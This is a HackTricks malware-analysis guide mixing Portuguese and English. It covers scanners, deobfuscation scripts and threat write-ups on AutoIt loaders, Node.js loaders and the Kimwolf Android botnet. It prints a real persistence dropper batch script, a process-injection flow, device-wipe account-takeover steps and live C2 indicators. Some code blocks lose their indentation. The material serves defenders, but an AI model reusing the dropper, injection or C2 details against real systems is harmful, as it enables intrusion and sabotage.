Análise de Malware

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

CheatSheets de Forense

https://www.jaiminton.com/cheatsheet/DFIR/#

Serviços Online

Ferramentas de Antivírus e Detecção Offline

Yara

Instalar

sudo apt-get install -y yara

Preparar regras

Use este script para baixar e mesclar todas as yara malware rules do GitHub: https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9
Crie o diretório rules e execute-o. Isso criará um arquivo chamado malware_rules.yar que contém todas as yara rules para malware.

wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py
mkdir rules
python malware_yara_rules.py

Varredura

yara -w malware_rules.yar image  #Scan 1 file
yara -w malware_rules.yar folder #Scan the whole folder

YaraGen: Verificar malware e criar regras

Você pode usar a ferramenta YaraGen para gerar yara rules a partir de um binário. Confira estes tutoriais: Part 1, Part 2, Part 3

python3 yarGen.py --update
python3.exe yarGen.py --excludegood -m  ../../mals/

ClamAV

Instalação

sudo apt-get install -y clamav

Varredura

sudo freshclam      #Update rules
clamscan filepath   #Scan 1 file
clamscan folderpath #Scan the whole folder

Capa

Capa detecta capacidades potencialmente maliciosas em executáveis: PE, ELF, .NET. Assim, ele encontrará coisas como Att&ck tactics, ou capacidades suspeitas tais como:

  • verificar erro OutputDebugString
  • executar como serviço
  • criar processo

Obtenha-o no Github repo.

IOCs

IOC significa Indicador de Comprometimento. Um IOC é um conjunto de condições que identificam algum software potencialmente indesejado ou malware confirmado. Blue Teams usam esse tipo de definição para procurar esse tipo de arquivos maliciosos em seus sistemas e redes.
Compartilhar essas definições é muito útil, pois quando um malware é identificado em um computador e um IOC para esse malware é criado, outros Blue Teams podem usá‑lo para identificar o malware mais rapidamente.

Uma ferramenta para criar ou modificar IOCs é IOC Editor.
Você pode usar ferramentas como Redline para procurar por IOCs definidos em um dispositivo.

Loki

Loki é um scanner para Simple Indicators of Compromise.
A detecção é baseada em quatro métodos de detecção:

1. File Name IOC
Regex match on full file path/name

2. Yara Rule Check
Yara signature matches on file data and process memory

3. Hash Check
Compares known malicious hashes (MD5, SHA1, SHA256) with scanned files

4. C2 Back Connect Check
Compares process connection endpoints with C2 IOCs (new since version v.10)

Linux Malware Detect

Linux Malware Detect (LMD) é um scanner de malware para Linux lançado sob a licença GNU GPLv2, projetado para as ameaças enfrentadas em ambientes de hospedagem compartilhada. Ele usa dados de ameaça de network edge intrusion detection systems para extrair malware que está sendo usado ativamente em ataques e gera assinaturas para detecção. Além disso, dados de ameaça também são derivados de envios de usuários com o LMD checkout feature e de recursos da comunidade de malware.

rkhunter

Ferramentas como rkhunter podem ser usadas para verificar o sistema de arquivos para possíveis rootkits e malware.

sudo ./rkhunter --check -r / -l /tmp/rkhunter.log [--report-warnings-only] [--skip-keypress]

FLOSS

FLOSS é uma ferramenta que tentará encontrar strings ofuscadas dentro de executáveis usando diferentes técnicas.

PEpper

PEpper checks alguns itens básicos dentro do executável (binary data, entropy, URLs and IPs, some yara rules).

PEstudio

PEstudio é uma ferramenta que permite obter informações de executáveis Windows tais como imports, exports, headers, mas também vai checar o VirusTotal e encontrar potenciais técnicas Att&ck.

Detect It Easy(DiE)

DiE é uma ferramenta para detectar se um arquivo está encrypted e também encontrar packers.

NeoPI

NeoPI is um script Python que usa uma variedade de statistical methods para detectar conteúdo obfuscated e encrypted dentro de arquivos de texto/script. O propósito do NeoPI é auxiliar na detection of hidden web shell code.

php-malware-finder

PHP-malware-finder faz o possível para detectar obfuscated/dodgy code assim como arquivos que usam funções PHP frequentemente usadas em malwares/webshells.

Apple Binary Signatures

Quando analisar algum malware sample você deve sempre check the signature do binário, pois o developer que o assinou pode já estar related com malware.

#Get signer
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"

#Check if the app’s contents have been modified
codesign --verify --verbose /Applications/Safari.app

#Check if the signature is valid
spctl --assess --verbose /Applications/Safari.app

Detection Techniques

File Stacking

Se você sabe que uma pasta contendo os files de um web server foi atualizada por último em certa data, verifique a data em que todos os files do web server foram criados e modificados; se alguma data for suspeita, analise esse file.

Baselines

Se os files de uma pasta não deveriam ter sido modificados, você pode calcular o hash dos files originais da pasta e compará-los com os atuais. Qualquer modificação será suspeita.

Statistical Analysis

Quando a informação é salva em logs, você pode checar estatísticas como quantas vezes cada file de um web server foi acessado, já que um web shell pode ser um dos mais.


Android in-app native telemetry (no root)

On Android, você pode instrumentar código nativo dentro do processo do app alvo pré-carregando uma pequena biblioteca de logger antes que outras libs JNI sejam inicializadas. Isso fornece visibilidade precoce do comportamento nativo sem hooks a nível de sistema ou root. Uma abordagem popular é SoTap: coloque libsotap.so para a ABI correta dentro do APK e injete uma chamada System.loadLibrary(“sotap”) cedo (por exemplo, inicializador estático ou Application.onCreate), depois colete logs de caminhos internos/externos ou use Logcat como fallback.

See the Android native reversing page for setup details and log paths:

Reversing Native Libraries


Android/JNI native string deobfuscation with angr + Ghidra

Some Android malware and RASP-protected apps hide JNI method names and signatures by decoding them at runtime before calling RegisterNatives. When Frida/ptrace instrumentation is killed by anti-debug, you can still recover the plaintext offline by executing the in-binary decoder with angr and then pushing results back into Ghidra as comments.

Key idea: treat the decoder inside the .so as a callable function, execute it on the obfuscated byte blobs in .rodata, and concretize the output bytes up to the first \x00 (C-string terminator). Keep angr and Ghidra using the same image base to avoid address mismatches.

Workflow overview

  • Triage in Ghidra: identify the decoder and its calling convention/arguments in JNI_OnLoad and RegisterNatives setup.
  • Run angr (CPython3) to execute the decoder for each target string and dump results.
  • Annotate in Ghidra: auto-comment decoded strings at each call site for fast JNI reconstruction.

Ghidra triage (JNI_OnLoad pattern)

  • Apply JNI datatypes to JNI_OnLoad so Ghidra recognises JNINativeMethod structures.
  • Typical JNINativeMethod per Oracle docs:
typedef struct {
char *name;      // e.g., "nativeFoo"
char *signature; // e.g., "()V", "()[B"
void *fnPtr;     // native implementation address
} JNINativeMethod;
  • Look for calls to RegisterNatives. If the library constructs the name/signature with a local routine (e.g., FUN_00100e10) that references a static byte table (e.g., DAT_00100bf4) and takes parameters like (encoded_ptr, out_buf, length), that is an ideal target for offline execution.

angr setup (execute the decoder offline)

  • Load the .so with the same base used in Ghidra (example: 0x00100000) and disable auto-loading of external libs to keep the state small.
Configuração do angr e execução offline do decoder ```python import angr, json

project = angr.Project( ‘/path/to/libtarget.so’, load_options={‘main_opts’: {‘base_addr’: 0x00100000}}, auto_load_libs=False, )

ENCODING_FUNC_ADDR = 0x00100e10 # decoder function discovered in Ghidra

def decode_string(enc_addr, length):

fresh blank state per evaluation

st = project.factory.blank_state() outbuf = st.heap.allocate(length) call = project.factory.callable(ENCODING_FUNC_ADDR, base_state=st) ret_ptr = call(enc_addr, outbuf, length) # returns outbuf pointer rs = call.result_state raw = rs.solver.eval(rs.memory.load(ret_ptr, length), cast_to=bytes) return raw.split(b’\x00’, 1)[0].decode(‘utf-8’, errors=‘ignore’)

Example: decode a JNI signature at 0x100933 of length 5 → should be ()[B

print(decode_string(0x00100933, 5))

</details>

- Em grande escala, construa um mapa estático dos pontos de chamada para os argumentos do decodificador (encoded_ptr, size). Wrappers podem ocultar argumentos, então você pode criar esse mapeamento manualmente a partir de Ghidra xrefs se a recuperação da API for ruidosa.

<details>
<summary>Decodificar em lote múltiplos pontos de chamada com angr</summary>
```python
# call_site -> (encoded_addr, size)
call_site_args_map = {
0x00100f8c: (0x00100b81, 0x41),
0x00100fa8: (0x00100bca, 0x04),
0x00100fcc: (0x001007a0, 0x41),
0x00100fe8: (0x00100933, 0x05),
0x0010100c: (0x00100c62, 0x41),
0x00101028: (0x00100c15, 0x16),
0x00101050: (0x00100a49, 0x101),
0x00100cf4: (0x00100821, 0x11),
0x00101170: (0x00100940, 0x101),
0x001011cc: (0x0010084e, 0x13),
0x00101334: (0x001007e9, 0x0f),
0x00101478: (0x0010087d, 0x15),
0x001014f8: (0x00100800, 0x19),
0x001015e8: (0x001008e6, 0x27),
0x0010160c: (0x00100c33, 0x13),
}

decoded_map = { hex(cs): decode_string(enc, sz)
for cs, (enc, sz) in call_site_args_map.items() }

import json
print(json.dumps(decoded_map, indent=2))
with open('decoded_strings.json', 'w') as f:
json.dump(decoded_map, f, indent=2)

Anotar locais de chamada no Ghidra Opção A: escritor de comentários apenas em Jython (use um JSON pré-computado)

  • Como o angr requer CPython3, mantenha desofuscação e anotação separadas. Primeiro execute o script angr acima para gerar decoded_strings.json. Em seguida, execute este GhidraScript Jython para escrever PRE_COMMENTs em cada local de chamada (e incluir o nome da função chamadora para contexto):
Script Jython do Ghidra para anotar decoded JNI strings ```python #@category Android/Deobfuscation # Jython in Ghidra 10/11 import json from ghidra.program.model.listing import CodeUnit

Ask for the JSON produced by the angr script

f = askFile(‘Select decoded_strings.json’, ‘Load’) mapping = json.load(open(f.absolutePath, ‘r’)) # keys as hex strings

fm = currentProgram.getFunctionManager() rm = currentProgram.getReferenceManager()

Replace with your decoder address to locate call-xrefs (optional)

ENCODING_FUNC_ADDR = 0x00100e10 enc_addr = toAddr(ENCODING_FUNC_ADDR)

callsite_to_fn = {} for ref in rm.getReferencesTo(enc_addr): if ref.getReferenceType().isCall(): from_addr = ref.getFromAddress() fn = fm.getFunctionContaining(from_addr) if fn: callsite_to_fn[from_addr.getOffset()] = fn.getName()

Write comments from JSON

for k_hex, s in mapping.items(): cs = int(k_hex, 16) site = toAddr(cs) caller = callsite_to_fn.get(cs, None) text = s if caller is None else ‘%s @ %s’ % (s, caller) currentProgram.getListing().setComment(site, CodeUnit.PRE_COMMENT, text) print(‘[+] Annotated %d call sites’ % len(mapping))

</details>

Opção B: Script CPython único via pyhidra/ghidra_bridge
- Alternativamente, use pyhidra ou ghidra_bridge para controlar a API do Ghidra a partir do mesmo processo CPython que executa angr. Isso permite chamar decode_string() e imediatamente definir PRE_COMMENTs sem um ficheiro intermédio. A lógica espelha o script Jython: build callsite→function map via ReferenceManager, decode with angr, and set comments.

Por que isso funciona e quando usar
- A execução offline contorna RASP/anti-debug: não há ptrace nem hooks do Frida necessários para recuperar strings.
- Manter Ghidra e angr com o mesmo base_addr (ex.: 0x00100000) garante que endereços de funções/dados coincidam entre as ferramentas.
- Receita repetível para decoders: trate a transformação como uma função pura, aloque um buffer de saída num estado limpo, chame-o com (encoded_ptr, out_ptr, len), depois concretize via state.solver.eval e parse C-strings up to \x00.

Notas e armadilhas
- Respeite o ABI/convenção de chamada do alvo. angr.factory.callable escolhe uma com base na arch; se os argumentos parecerem deslocados, especifique cc explicitamente.
- Se o decoder espera buffers de saída zerados, inicialize outbuf com zeros no estado antes da chamada.
- Para .so Android position-independent, sempre forneça base_addr para que os endereços em angr coincidam com os vistos no Ghidra.
- Use currentProgram.getReferenceManager() para enumerar call-xrefs mesmo que a app envolva o decoder atrás de thin stubs.

For angr basics, see: [angr basics](../../reversing/reversing-tools-basic-methods/angr/README.md)

---

## Deobfuscating Dynamic Control-Flow (JMP/CALL RAX Dispatchers)

Famílias modernas de malware abusam fortemente da obfuscação do Control-Flow Graph (CFG): em vez de um salto/chamada direta, elas calculam o destino em tempo de execução e executam um `jmp rax` ou `call rax`. Um pequeno *dispatcher* (tipicamente nove instruções) define o alvo final dependendo das flags da CPU `ZF`/`CF`, quebrando completamente a recuperação estática do CFG.

A técnica — demonstrada pelo loader SLOW#TEMPEST — pode ser derrotada com um fluxo de trabalho em três etapas que depende apenas de IDAPython e do emulador de CPU Unicorn.

### 1. Localizar cada salto/chamada indireta
```python
import idautils, idc

for ea in idautils.FunctionItems(idc.here()):
mnem = idc.print_insn_mnem(ea)
if mnem in ("jmp", "call") and idc.print_operand(ea, 0) == "rax":
print(f"[+] Dispatcher found @ {ea:X}")

2. Extrair o byte-code do dispatcher

import idc

def get_dispatcher_start(jmp_ea, count=9):
s = jmp_ea
for _ in range(count):
s = idc.prev_head(s, 0)
return s

start = get_dispatcher_start(jmp_ea)
size  = jmp_ea + idc.get_item_size(jmp_ea) - start
code  = idc.get_bytes(start, size)
open(f"{start:X}.bin", "wb").write(code)

3. Emule-o duas vezes com Unicorn

from unicorn import *
from unicorn.x86_const import *
import struct

def run(code, zf=0, cf=0):
BASE = 0x1000
mu = Uc(UC_ARCH_X86, UC_MODE_64)
mu.mem_map(BASE, 0x1000)
mu.mem_write(BASE, code)
mu.reg_write(UC_X86_REG_RFLAGS, (zf << 6) | cf)
mu.reg_write(UC_X86_REG_RAX, 0)
mu.emu_start(BASE, BASE+len(code))
return mu.reg_read(UC_X86_REG_RAX)

Execute run(code,0,0) e run(code,1,1) para obter os branch targets false e true.

4. Aplicar patch de volta a um jump / call direto

import struct, ida_bytes

def patch_direct(ea, target, is_call=False):
op   = 0xE8 if is_call else 0xE9           # CALL rel32 or JMP rel32
disp = target - (ea + 5) & 0xFFFFFFFF
ida_bytes.patch_bytes(ea, bytes([op]) + struct.pack('<I', disp))

Após aplicar o patch, force o IDA a reanalisar a função para que o CFG completo e a saída do Hex-Rays sejam restaurados:

import ida_auto, idaapi
idaapi.reanalyze_function(idc.get_func_attr(ea, idc.FUNCATTR_START))

5. Rotular chamadas indiretas de API

Uma vez que o destino real de cada call rax seja conhecido, você pode informar ao IDA qual é para que os tipos de parâmetros & nomes de variáveis sejam recuperados automaticamente:

idc.set_callee_name(call_ea, resolved_addr, 0)  # IDA 8.3+

Benefícios práticos

  • Restaura o real CFG → a decompilation passa de 10 linhas para milhares.
  • Permite string-cross-reference & xrefs, tornando a reconstrução do comportamento trivial.
  • Scripts são reutilizáveis: coloque-os em qualquer loader protegido pelo mesmo truque.

AutoIt-based loaders: .a3x decryption, Task Scheduler masquerade and RAT injection

Este padrão de intrusão encadeia um MSI assinado, AutoIt loaders compilados para .a3x, e um job do Task Scheduler mascarando-se como um aplicativo benigno.

MSI → custom actions → AutoIt orchestrator

Árvore de processos e comandos executados pelas ações customizadas do MSI:

  • MsiExec.exe → cmd.exe para executar install.bat
  • WScript.exe para exibir um diálogo de erro falso
%SystemRoot%\system32\cmd.exe /c %APPDATA%\스트레스 클리어\install.bat
%SystemRoot%\System32\WScript.exe %APPDATA%\스트레스 클리어\error.vbs

install.bat (drops loader, sets persistence, self-cleans):

@echo off
set dr=Music

copy "%~dp0AutoIt3.exe" %public%\%dr%\AutoIt3.exe
copy "%~dp0IoKlTr.au3" %public%\%dr%\IoKlTr.au3

cd /d %public%\%dr% & copy c:\windows\system32\schtasks.exe hwpviewer.exe ^
& hwpviewer /delete /tn "IoKlTr" /f ^
& hwpviewer /create /sc minute /mo 1 /tn "IoKlTr" /tr "%public%\%dr%\AutoIt3.exe %public%\%dr%\IoKlTr.au3"

del /f /q "%~dp0AutoIt3.exe"
del /f /q "%~dp0IoKlTr.au3"
del /f /q "%~f0"

error.vbs (isca para o usuário):

MsgBox "현재 시스템 언어팩과 프로그램 언어팩이 호환되지 않아 실행할 수 없습니다." & vbCrLf & _
"설정에서 한국어(대한민국) 언어팩을 설치하거나 변경한 뒤 다시 실행해 주세요.", _
vbCritical, "언어팩 오류"

Principais artefatos e disfarce:

  • Coloca AutoIt3.exe e IoKlTr.au3 em C:\Users\Public\Music
  • Copia schtasks.exe para hwpviewer.exe (mascara-se como visualizador do Hangul Word Processor)
  • Cria uma tarefa agendada “IoKlTr” que é executada a cada 1 minuto
  • Atalho de inicialização visto como Smart_Web.lnk; mutex: Global\AB732E15-D8DD-87A1-7464-CE6698819E701
  • Coloca módulos em subpastas de %APPDATA%\Google\Browser\ contendo adb ou adv e os inicia via scripts auxiliares autoit.vbs/install.bat

Dicas de triagem forense:

  • Enumeração do schtasks: schtasks /query /fo LIST /v | findstr /i "IoKlTr hwpviewer"
  • Procure por cópias renomeadas de schtasks.exe co-localizadas com o Task XML: dir /a "C:\Users\Public\Music\hwpviewer.exe"
  • Caminhos comuns: C:\Users\Public\Music\AutoIt3.exe, ...\IoKlTr.au3, Startup Smart_Web.lnk, %APPDATA%\Google\Browser\(adb|adv)*
  • Correlacione a criação de processos: AutoIt3.exe iniciando binários legítimos do Windows (por exemplo, cleanmgr.exe, hncfinder.exe)

Carregadores AutoIt e descriptografia de payload .a3x → injeção

  • Módulos AutoIt são compilados com #AutoIt3Wrapper_Outfile_type=a3x e descriptografam payloads embutidos antes de injetá-los em processos benignos.
  • Famílias observadas: QuasarRAT (injetado em hncfinder.exe) e RftRAT/RFTServer (injetado em cleanmgr.exe), assim como módulos RemcosRAT (Remcos\RunBinary.a3x).
  • Padrão de descriptografia: derivar uma chave AES via HMAC, descriptografar o blob embutido, então injetar o módulo em texto plano.

Esqueleto genérico de descriptografia (a entrada/algoritmo HMAC exatos são específicos da família):

import hmac, hashlib
from Crypto.Cipher import AES

def derive_aes_key(secret: bytes, data: bytes) -> bytes:
# Example: HMAC-SHA256 → first 16/32 bytes as AES key
return hmac.new(secret, data, hashlib.sha256).digest()

def aes_decrypt_cbc(key: bytes, iv: bytes, ct: bytes) -> bytes:
return AES.new(key, AES.MODE_CBC, iv=iv).decrypt(ct)

Common injection flow (CreateRemoteThread-style):

  • CreateProcess (suspended) do host alvo (por exemplo, cleanmgr.exe)
  • VirtualAllocEx + WriteProcessMemory com módulo/shellcode descriptografado
  • CreateRemoteThread or QueueUserAPC para executar o payload

Hunting ideas

  • AutoIt3.exe parented by MsiExec.exe or WScript.exe spawning system utilities
  • Arquivos com extensões .a3x ou executores de script AutoIt em caminhos públicos/graváveis por usuários
  • Tarefas agendadas suspeitas executando AutoIt3.exe ou binários não assinados pela Microsoft, com gatilhos com granularidade de minutos

Account-takeover abuse of Android Find My Device (Find Hub)

Durante a intrusão em Windows, os operadores usaram credenciais Google roubadas para apagar repetidamente os dispositivos Android da vítima, suprimindo notificações enquanto ampliavam o acesso via o desktop messenger da vítima logado.

Operator steps (from a logged-in browser session):

  • Acessar Google Account → Security → Your devices; seguir Find My Phone → Find Hub (https://www.google.com/android/find)
  • Select device → re-enter Google password → issue “Erase device” (factory reset); repetir para atrasar a recuperação
  • Opcional: limpar e-mails de alerta na caixa de correio vinculada (ex.: Naver) para ocultar notificações de segurança

Tracing heavily obfuscated Node.js loaders

Attackers increasingly bundle JavaScript loaders inside standalone Windows binaries compiled with nexe, so the runtime ships together with the script. The resulting PE often weighs 60–90 MB and executes even if Node.js is not installed. During triage:

  • Use nexe_unpacker to carve the embedded JavaScript out of the PE and feed it to local tooling for static diffing.
  • Expect a disk-based mutex in %TEMP% (GachiLoader drops a random .lock file that expires after ~5 minutes). Copying the file to the sandbox before execution lets you skip redundant stages while still seeing later payloads.

Node.js API tracing to defeat anti-analysis

Check Point’s Nodejs-Tracer hooks core modules inside any Node.js process, lets you spoof anti-VM probes, and preserves every artifact the sample writes. Launch obfuscated scripts through the tracer to keep analyst-controlled instrumentation in the call stack:

node -r .\tracer.js main.js

Key configuration toggles inside tracer.js allow you to:

  • Registrar atividade do sistema de arquivos, child-process e HTTP (LOG_HTTP_REQUESTS, SAVE_FILE_WRITES). Every dropped file—such as kidkadi.node—is copied to the working directory before the malware deletes it.
  • Override environment fingerprints retornando contagens realistas de RAM/CPU, falsificando a saída de tasklist e adulterando respostas PowerShell/WMI. Isso contorna loaders que exigem ≥4 GB RAM, ≥2 cores, e que escrutinam nomes de usuário (mashinesssss, wdagutilityaccount, etc.), hostnames (desktop-vrsqlag, server1 …) e nomes de processos (vmtoolsd.exe, fiddler.exe, x64dbg.exe, frida-server.exe).
  • Neutralizar verificações de hardware WMI como Get-WmiObject Win32_DiskDrive (procurando por vmware, kvm, virtio, …), Win32_VideoController (bloqueando “VirtualBox Graphics Adapter”, “Hyper-V Video”, etc.) e contagens de Win32_PortConnector. Quando essas sondas reportam hardware “real”, sandboxes não entram mais no loop infinito de chamadas benignas Invoke-WebRequest para linkedin.com, grok.com, whatsapp.com e domínios similares que o GachiLoader usa para desperdiçar tempo de análise.

Capturing gated C2 traffic automatically

Os hooks de rede do tracer revelam autenticação C2 em múltiplas camadas sem precisar reverter a ofuscação JavaScript. Na campanha observada o loader:

  1. Faz POST da telemetria do host para /log em cada C2 hard-coded.
  2. Realiza GET /richfamily/<per-sample key> com X-Secret: gachifamily para recuperar uma URL de payload codificada em Base64.
  3. Executa um GET final para essa URL com um cabeçalho X-Secret longo por amostra; a ausência desse cabeçalho retorna 403 Forbidden.

Como o tracer registra requisições completas (headers, bodies, destinos), você pode reproduzir o mesmo tráfego para puxar payloads, dumpar shells Themida/VMProtect na memória e extrair dados de configuração do Rhadamanthys em escala.

AdaptixC2: Configuration Extraction and TTPs

Veja a página dedicada:

Adaptixc2 Config Extraction And Ttps

Kimwolf Android Botnet Tradecraft

APK loader & native ELF execution on TV boxes

  • Malicious APKs such as com.n2.systemservice06* ship a statically linked ARM ELF inside res/raw (e.g. R.raw.libniggakernel). A BOOT_COMPLETED receiver runs at startup, extracts the raw resource to the app sandbox (e.g. /data/data/<pkg>/niggakernel), makes it executable and invokes it with su.
  • Many Android TV boxes/tablets ship pre-rooted images or world-writable su, so the loader reliably boots the ELF with UID 0 even without an exploit chain. Persistence comes “for free” because the receiver relaunches after every reboot or app restart.
  • Reverse engineers hunting for this pattern can diff AndroidManifest.xml for hidden boot receivers plus code that references Resources.openRawResourceFileOutputStreamRuntime.getRuntime().exec("su"). Once the ELF is dropped, triage it as a Linux userland backdoor (Kimwolf is UPX-packed, stripped, statically linked, 32-bit ARM EABI5).

Runtime mutexes & masquerading IOCs

  • Upon start, Kimwolf binds an abstract UNIX domain socket such as @niggaboxv4/@niggaboxv5. Existing sockets force an exit, so the socket name works as both a mutex and a forensic artifact.
  • The process title is overwritten with service-looking names (netd_services, tv_helper, etc.) to blend into Android process listings. Host-based detections can alert on these names combined with the mutex socket.

Stack XOR string decoding with ARM NEON + flare_emu

  • Sensitive strings (C2 domains, resolvers, DoT endpoints) are pushed onto the stack in encrypted 8-byte blocks and decoded in-place via VEOR Qx, Qx, Qy (veorq_s64). Analysts can script flare_emu to catch the decrypted pointer each time the decryptor hands it to the caller:
import flare_emu

eh = flare_emu.EmuHelper()

def hook(eh, addr, argv, _):
if eh.isValidEmuPtr(argv[1]):
print(hex(addr), eh.getEmuString(argv[1]))

eh.iterate(0x8F00, hook)  # sub_8F00 consumes the plaintext R1 argument
  • Procurar por VEOR Q8, Q8, Q9 / veorq_s64 sequences e emular seus ranges faz mass-dump de cada string descriptografada, contornando o stack-only lifetime of the plaintext.

DNS-over-TLS resolution plus XOR IP derivation

  • Todas as variantes Kimwolf resolvem domínios C2 falando diretamente via DNS-over-TLS (TCP/853) com Google (8.8.8.8) ou Cloudflare (1.1.1.1), evitando plain DNS logging ou hijacking.
  • v4 bots simplesmente usam o registro A IPv4 retornado. v5 bots tratam o registro A como um inteiro de 32 bits, swapam sua endianness, fazem XOR com a constante 0x00ce0491, e então flipam a endianness de volta para obter o IP C2 real. Receita do CyberChef: Change IP format → swap endianness per 4-byte chunk → XOR with 00 ce 04 91 → convert back to dotted decimal.

ENS / EtherHiding fallback

  • Builds posteriores adicionam um domínio ENS (pawsatyou.eth) cujo resolver text key "lol" armazena um IPv6 de aparência benign (fed0:5dec:...:1be7:8599).
  • O bot pega os últimos quatro bytes (1b e7 85 99), aplica XOR com 0x93141715, e interpreta o resultado como um IPv4 C2 (136.243.146.140). Atualizar o registro de texto ENS rotaciona instantaneamente os C2s downstream via blockchain sem tocar no DNS.

TLS + ECDSA authenticated command channel

  • O tráfego é encapsulado em wolfSSL com um protocolo emoldurado personalizado:
struct Header {
Magic    [4]byte // e.g. "DPRK", "FD9177FF", "AD216CD4"
Reserved uint8   // 0x01
MsgType  uint8   // verb
MsgID    uint32
BodyLen  uint32
CRC32    uint32
}
  • Bootstrap: o bot envia dois cabeçalhos vazios MsgType=0 (register). O C2 responde com MsgType=1 (verify) contendo um desafio aleatório mais uma assinatura ASN.1 DER ECDSA. Os bots verificam isso contra um blob SubjectPublicKeyInfo embutido; falhas encerram a sessão, impedindo que nós C2 hijacked/sinkholed façam tasking na frota.
  • Once verified, the bot sends a MsgType=0 body carrying the operator-defined group string (e.g. android-postboot-rt). If the group is enabled, the C2 responds with MsgType=2 (confirm), after which tasking (MsgType 5–12) begins.
  • Supported verbs include SOCKS-style TCP/UDP proxying (residential proxy monetization), reverse shell / single command exec, file read/write, and Mirai-compatible DDoSBody payloads (same AtkType, Duration, Targets[], Flags[] layout).

References

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks